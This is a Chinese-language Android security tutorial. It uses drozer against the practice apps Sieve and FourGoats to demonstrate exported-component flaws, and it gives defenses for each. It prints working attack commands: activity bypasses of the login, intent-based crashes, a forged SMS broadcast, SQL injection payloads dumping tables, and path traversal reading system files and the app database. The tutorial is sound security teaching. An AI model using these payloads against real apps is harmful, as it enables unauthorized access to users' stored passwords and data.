学习参考文章:
Drozer 测试 APP - Sieve&FourGoats
WindXaa/Android-Vulnerability-Mining
1. 环境配置
Python环境一定是2.7版本:https://www.python.org/downloads/release/python-2718/
在Windows下切换Python2和Python3:https://www.cnblogs.com/qtzd/p/14728029.html ,也就是说Path环境变量中哪个Python版本在前,系统默认用哪个。
1 | python --version |
Java环境也最好切换到jdk 1.5,否则执行某些drozer命令会失败。
Windows下切换Java版本:https://blog.csdn.net/zouxucong/article/details/76577080
新开一个cmd,可以看到版本切到Java 1.5了:
在github下载drozer:https://github.com/WithSecureLabs/drozer
1 | git clone https://github.com/FSecureLABS/drozer.git |
选择在Python 2.7环境下安装drozer:
安装protobuf组件,否则等下执行drozer console connect
会报错:
1 | pip install protobuf |
安装OpenSSL组件:
1 | pip install pyopenssl |
安装pyyaml组件:
1 | pip install pyyaml |
安装twisted组件:
1 | pip install twisted |
安装service_identity组件:
1 | pip install service_identity |
解决drozer中文乱码的问题:
在C:\Python27\Lib\site-packages\drozer\modules\app\package.py
中开头插入以下代码:
1 | import sys |
在List类中的以下两处增加“u”即可:
安装drozer出错及解决方案:https://www.freesion.com/article/768646023/
下载drozer agent:https://github.com/FSecureLABS/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk ,安装到手机上。
1 | adb install drozer-agent-2.3.4.apk |
启动drozer agent,绑定drozer默认端口31415:
1 | adb forward tcp:31415 tcp:31415 |
样本APK安装到手机:
sieve.apk:https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk
FourGoats.apk:https://pan.baidu.com/s/1DuDGn04nMu3hUXacGFTwVQ?pwd=abcd
2. Activity
在Android系统中,Activity默认是不导出的。如果设置了exported = “true” 这样的关键值或者是添加了
2.1 越权绕过
2.1.1 原理介绍
一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开。
2.1.2 漏洞复现
列出手机中所有的App包,找到我们的sieve.apk:
1 | run app.package.list |
查看具体包的信息,包括版本号、数据目录、使用权限等:
1 | run app.package.info -a com.mwr.example.sieve |
查询目标应用的攻击面,可以知道该APK四大组件分别被允许导出的个数,该APK是可调试的:
1 | dz> run app.package.attacksurface com.mwr.example.sieve |
查看哪3个Activity是被导出的,被导出的Activity可以通过强制跳转实现越权绕过,也就是不用登录就可以进入到其它页面,其中进入com.mwr.example.sieve.PWList
发现存储的用户信息。
1 | run app.activity.info -a com.mwr.example.sieve |
这其实跟使用frida-objection中的intent功能是一样的。呃…经试验这几个Activity其实都可以直接跳过去。
2.1.3 防护策略
(1)私有Activity不应被其他应用启动相对是安全的,创建Activity时:设置exported属性为false
(2)公开暴露的Activity组件,可以被任意应用启动,创建Activity时:设置exported属性为true,谨慎处理接收的Intent,返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
2.2 钓鱼欺诈/Activity劫持
2.2.1 原理介绍
Android App中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有Webview加载,允许加载任意网页都有可能产生钓鱼事件。
2.2.2 防护策略
目前,对activity劫持的防护,只能是适当给用户警示信息。一些简单的防护手段就是显示当前运行的进程提示框。梆梆加固则是在进程切换的时候给出提示,并使用白名单过滤。
比如旅行青蛙被切换到后台后,会弹出提示框:
2.3 隐式启动Intent包含敏感数据
2.3.1 原理介绍
Intent可分为隐式(implicitly)和显式(explicitly)两种:
(1)显式Intent:即在构造Intent对象时就指定接收者,它一般用在知道目标组件名称的前提下,一般是在相同的应用程序内部实现的,如下:
1 | Intent intent = new Intent(MainActivity.this, NewActivity.class); |
(2)隐式Intent:即Intent的发送者在构造Intent对象时,并不知道也不关心接收者是谁,有利于
降低发送者和接收者之间的耦合,它一般用在没有明确指出目标组件名称的前提下,一般是用于
不同应用程序之间,如下:
1 | Intent intent = new Intent(); |
对于显式Intent,Android不需要去做解析,因为目标组件已经很明确,Android需要解析的是那些
隐式Intent。通过解析,将Intent映射给可以处理此Intent的Activity,IntentReceiver或Service。
有一个应用A,采用Intent隐式传递,它的动作是“X”。此时还有一个应用B,动作也是“X”,我们在启动的时候,通过Intent隐式传递,就会同时弹出两个界面,我们就不知道到底启动A还是B。
2.4 拒绝服务攻击
2.4.1 原理介绍
Android提供Intent机制来协助应用间的交互和通讯,通过Intent实现对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android通过Intent的描述,负责找到对应组件,完成调用。
拒绝服务攻击源于程序没有对Intent.getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者向应用发送此类空数据、异常或者畸形数据来达到使该应用崩溃的目的。本地拒绝服务可以被竞争方利用来攻击,使得己方应用崩溃,造成破坏。
危害:拒绝服务漏洞对于锁屏应用、安全防护类软件危害是巨大的。
2.4.2 防护策略
异常类型有:空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其它异常。谨慎处理接收的intent以及其携带的信息,对接收到的任何数据做try/catch处理,以及对不符合预期数据做异常处理。
1.不需要被外部调用的Activity设置android:exported=”false”;
2.若需要外部调用,需自定义signature或者signatureOrSystem级别的权限;
3.注册的组件请严格校验输入参数,注意空值判定和类型转换判断。
3. Service
Service(服务)是一种可以在后台执行长时间运行操作而没有用户界面的应用组件。服务可由其他应用组件启动(如Activity),服务一旦被启动将在后台一直运行,即使启动服务的组件(Activity)已销毁也不受影响。 此外,组件可以绑定到服务,以与之进行交互,甚至是执行进程间通信 (IPC)。
如果一个导出的Service没有做严格的限制,任何应用都可以去启动并绑定到这个Service上,取决于被暴露的功能, 这可以是一个应用去执行未授权的行为,获取敏感信息或污染修改内部应用的状态造成威胁。
3.1 权限提升
3.1.1 原理介绍
当一个Service配置了intent-filter默认是被导出的,如果没对调用Service进行权限,限制或者是没有对调用者的身份进行有效验证,那么恶意构造的App都可以对此Service传入恰当的参数进行调用,导致恶意行为发生比如调用具有system权限的删除卸载服务删除卸载其他应用。
3.2 Service劫持
3.2.1 原理介绍
隐式启动Service,当存在同名Service,先安装应用的Service优先级高。
3.3 消息伪造
3.3.1 原理介绍
暴露的Service对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Service接收可能产生安全隐患。
3.4 拒绝服务攻击
3.4.1 原理介绍
Service的拒绝服务主要来源于Service启动时对接收的Intent等没有做异常情况下的处理,导致程序崩溃。主要体现在给Service传输的intent或者传输序列化对象导致接收时候的类型传化异常。
Service拒绝服务攻击和Activity拒绝服务攻击的原理一样。
3.4.2 漏洞复现
查看FourGoats攻击面:
1 | run app.package.attacksurface org.owasp.goatdroid.fourgoats |
查看针对 Service 组件具体的攻击面:
1 | dz> run app.service.info -a org.owasp.goatdroid.fourgoats |
由于运行 Service 组件需要找到对应的 action,所以将APK载入Android Killer反编译,打开AndroidManifest.xml
文件查找 action:
发送不完整intent造成拒绝服务:
1 | run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService |
3.4.3 防护策略
(1)私有Service不定义intent-filter并且设置exported为false
(2)公开的service设置exported为true,intent-filter可以定义或者不定义
(3)合作Service需对合作方的App签名做校验
(4)只被应用本身使用的Service应设置为私有
(5)Service接收的数据需要谨慎处理
(6)内部Service需要使用签名级别的protectionLevel来判断是否未内部应用调用
(7)不应在Service创建(onCreate方法被调用)的时候决定是否提供服务,应在onStartCommand/onBind/onHandleIntent等方法被调用时做判断
(8)当Service有返回数据的时候,因判断数据接收App是否有信息泄露的风险
(9)有明确的服务需调用时使用显示Intent
(10)尽量不发送敏感信息
(11)启动Activity时不设置intent的FLAG_ACTIVITY_NEW_TASK标签
4. Broadcast Receiver
Android中的每个应用程序都可以对自己感兴趣的广播进行注册,这样该程序只会收到自己所关心的广播内容,这些广播可以是来自系统的,也可能是来自其他程序的。Android提供了一套完整的API,允许应用程序自由地发送和接收广播。
广播机制分为两个方面:广播发送者和广播接收者,一般来说,BroadcastReceiver就是广播接收者。
广播接收者有两种注册方式:静态注册、动态注册。
- 静态注册:在
AndroidManifest.xml
里通过标签声明 - 动态注册:需要在功能代码中进行注册
(1)实例化自定义的广播接收者,我们实现广播的功能,可以继承BroadcastReceiver类,并重写类中的方法onReceive()
(2)实例化intentFilter,并设置要过滤的广播类型
(3)使用Context的registerReceiver(BroadcastReceiver,IntentFilter)
方法注册广播
(4)在onPause()
方法中通过调用unregisterReceiver()
方法来实现注销
这里的广播实际上指的是intent。当发送一个广播时,系统会将发送的广播(intent)与系统中所有注册的符合条件的IntentFilter进行匹配,匹配成功,则执行相应的onReceive()
函数。发送广播时,如果处理不当,恶意应用便可以嗅探,拦截广播,致使敏感数据泄露、拒绝服务攻击、伪造消息、越权操作等。
4.1 敏感信息泄露
4.1.1 原理介绍
发送的intent没有明确指定接收者,而是简单地通过action进行匹配,恶意应用便可以注册一个广播接收者嗅探拦截到这个广播,如果这个广播存在敏感数据,就被恶意应用窃取了。
4.1.2 防护策略
尝试采用本地广播的方式,这样程序发出的广播就只能被App自身广播接收器接收:
1 | Intent intent = new Intent("my-sensitive-event"); |
4.2 越权绕过
4.2.1 原理介绍
动态注册的广播默认都是导出的,如果导出的BroadcastReceiver没有做权限控制,导致BroadcastReceiver组件可以接收一个外部可控的url、或者其他命令,导致攻击者可以越权利用应用的一些特定功能,比如发送恶意广播、伪造消息、任意应用下载安装、打开钓鱼网站等。
4.3 消息伪造
4.3.1 原理介绍
暴露的Receiver对外接收Intent,如果构造恶意的消息放在Intent中传输,被调用的Receiver接收可能产生安全隐患。
4.4 拒绝服务攻击
4.4.1 原理介绍
如果敏感的BroadcastReceiver没有设置相应的权限保护,很容易受到攻击。最常见的是拒绝服务攻击。拒绝服务攻击指的是,传递恶意畸形的intent数据给广播接收器,广播接收器无法处理异常导致crash。
拒绝服务攻击的危害视具体业务场景而定,比如一个安全防护产品的拒绝服务、锁屏应用的拒绝服务、支付进程的拒绝服务等危害就是巨大的。
4.4.2 漏洞复现
查看FourGoats攻击面:
1 | run app.package.attacksurface org.owasp.goatdroid.fourgoats |
查看针对 broadcast receiver组件具体的攻击面:
1 | run app.broadcast.info -a org.owasp.goatdroid.fourgoats |
由于运行 broadcast receiver组件需要找到对应的 action,所以将APK载入Android Killer反编译,打开AndroidManifest.xml
文件查找 action:
发送不完整intent造成拒绝服务:
1 | run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS |
我们还可以根据组件的类名找到对应的源码信息,发现需要两个参数 phoneNumber和message:
构造恶意广播发送:
1 | run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 18218423996 --extra string message hellomyfriend |
4.5 Broadcast Receiver的安全防护
(1)私有广播接收器设置exported=”false”,并且不配置intent-filter。(私有广播接收器依然能接收到同UID的广播)。
(2)对接收来的广播进行验证。
(3)App内部之间的广播使用protectionLevel=”signature” 验证其是否真是内部App。
(4)返回结果时需注意接收App是否会泄露信息。
(5)发送的广播包含敏感信息时需指定广播接收器,使用显示intent或者setPackage(String packageName)。
(6)使用LocalBroadcastManager。
5. Content Provider
Android中的数据存储方式:Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享,对于不同应用之间共享数据,就要借助Content Provider。
ContentProvider为存储和读取数据提供了统一的接口,使用表的形式来对数据进行封装,使用ContentProvider可以在不同的应用程序之间共享数据,统一数据的访问方式,保证数据的安全性。
当外部应用需要对ContentProvider中的数据进行添加、删除、修改及查询操作时,可以使用ContentResolver类来完成,要获取ContentResolver对象,可以使用Activity提供getContentResolver()
。
1 | public Uri insert(Uri uri, ContentValues values)//往ContentProvider添加数据; |
Android中Content Provider起到在不同的进程App之间实现共享数据的作用,通过Binder进程间通信机制以及匿名共享内存机制来实现,但是考虑到数据的安全性,我们需要设置一定的保护权限。Binder进程间通信机制突破了以应用程序为边界的权限控制,是安全可控的,数据的访问接口由数据的所有者来提供,数据提供方实现安全控制,决定数据的读写操作。而Content Provider组件本身提供了读取权限控制,这导致在使用过程中就会存在一些漏洞。
5.1 信息泄露
5.1.1 原理介绍
Content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个provider中的一个表,指向表的Content URI是参数之一,如果对ContentProvider的权限没有做好控制,就有可能导致恶意的程序通过这种方式读取App的敏感数据。
5.1.2 漏洞复现
查看针对 provider 数据组件具体的攻击面:
1 | run app.provider.info -a com.mwr.example.sieve |
列出并扫描APK的所有URI:
1 | run app.provider.finduri com.mwr.example.sieve |
却发现报错:
1 | dz> run scanner.provider.finduris -a com.mwr.example.sieve |
根据错误提示,ZipUtil.class
文件的魔数或者版本号错了。这其实是JDK版本兼容性问题。我们使用的是jdk 1.8将ZipUtil.java
编译成ZipUtil.class
,再使用dx.bat
批处理脚本中的dx.jar
将ZipUtil.class
编译成DEX文件。查看该dx.jar
的编译环境为0x31,对应JDK版本为1.5;而ZipUtil.class
的编译环境为0x34,对应JDK版本为1.8,不能向上兼容。
查看jar包编译环境:https://blog.csdn.net/ecjtuhq/article/details/53771441
由于从Android-sdk\build-tools的不同版本中找到dx.jar
的编译环境最高为0x33,也就是jdk 1.7。1.8及以后由d8.jar
代替dx.jar
编译DEX文件,所以不能通过替换dx.jar
解决这个问题,我们干脆将Java环境切换为jdk 1.5就好。
再次执行命令没有问题:
查看可访问 URI 内容:
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ |
列出可访问URI的所有表名:
1 | run scanner.provider.sqltables -a com.mwr.example.sieve |
5.1.3 防护策略
(1)minSdkVersion不低于9
(2)不向外部App提供数据的私有content provider显示设置exported=”false”,避免组件暴露(编译api小于17时更应注意此点)
(3)内部App通过content provider交换数据时,设置protectionLevel=”signature”验证签名
(4)公开的content provider确保不存储敏感数据
5.2 SQL注入漏洞
5.2.1 原理介绍
对Content Provider进行增删改查操作时,程序没有对用户的输入进行过滤,未采用参数化查询的方式,可能会导致SQL注入攻击。
所谓的SQL注入攻击指的是攻击者可以精心构造selection参数、projection参数以及其他有效的SQL语句组成部分,实现在未授权的情况下从Content Provider获取更多信息。应该避免使用SQLiteDatabase.rawQuery()
进行查询,而应该使用编译好的参数化语句。使用预编译好的语句比如SQLiteStatement,不仅可以避免SQL注入,而且操作性能也大幅提高,因为其不用每次执行都进行解析。
另外一种方式是使用query()
、insert()
、update()
和delete()
方法,因为这些函数也提供了参数化的语句。预编译的参数化语句,问号处可以插入或者使bindString()
绑定值,从而避免SQL注入攻击。
5.2.2 漏洞复现
drozer 提供了扫描模块,列出可被projection和selection的provider:
1 | run scanner.provider.injection -a com.mwr.example.sieve |
测试可访问 URI 是否存在注入:
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" |
关于projection选项与selection选项的区别:projection是预测有哪些字段,并取得该字段的所有值;selection更像是过滤,筛选出需要的记录。
根据注入结果可以猜测查询语句为:
1 | --projection "'" |
既然可以注入,当然不局限于当前的数据库(DBContentProvider)或表(Passwords),我们可以注入出当前数据库的所有数据表:
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" |
查询某个表中所有数据:
1 | run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" |
5.2.3 防护策略
(1)实现健壮的服务端校验
(2)使用参数化查询语句,比如SQLiteStatement
(3)避免使用rawQuery()
(4)过滤用户的输入
5.3 目录遍历漏洞
5.3.1 原理介绍
Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断,攻击者利用该应用暴露的Content Provider的openFile()
接口进行文件目录遍历以达到访问任意可读文件的目的。
5.3.2 漏洞复现
前面测试了存在注入的 URI,由于 provider 还提供文件访问,于是可以探测目录穿越:
1 | run scanner.provider.traversal -a com.mwr.example.sieve |
从下图可知可以利用content://com.mwr.example.sieve.FileBackupProvider/
进行目录穿越。比如穿越到手机终端的/etc
目录读hosts
系统文件:
1 | run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts |
也可以根据 run app.package.info -a com.mwr.example.sieve
得到的目录信息获取更多文件:
1 | run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/user/0/com.mwr.example.sieve/databases/database.db |
下载数据库文件:
1 | run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/user/0/com.mwr.example.sieve/databases/database.db C:\\Users\\dell\\Desktop\\database.db |
使用DB Browser for SQLite工具打开.db
文件,可以查看里面的数据信息。
5.3.3 防护策略
(1)将不必要导出的Content Provider设置为不导出
(2)去除没有必要的openFile()
接口
(3)过滤限制跨域访问,对访问的目标文件的路径进行有效判断
(4)设置权限来进行内部应用通过Content Provider的数据共享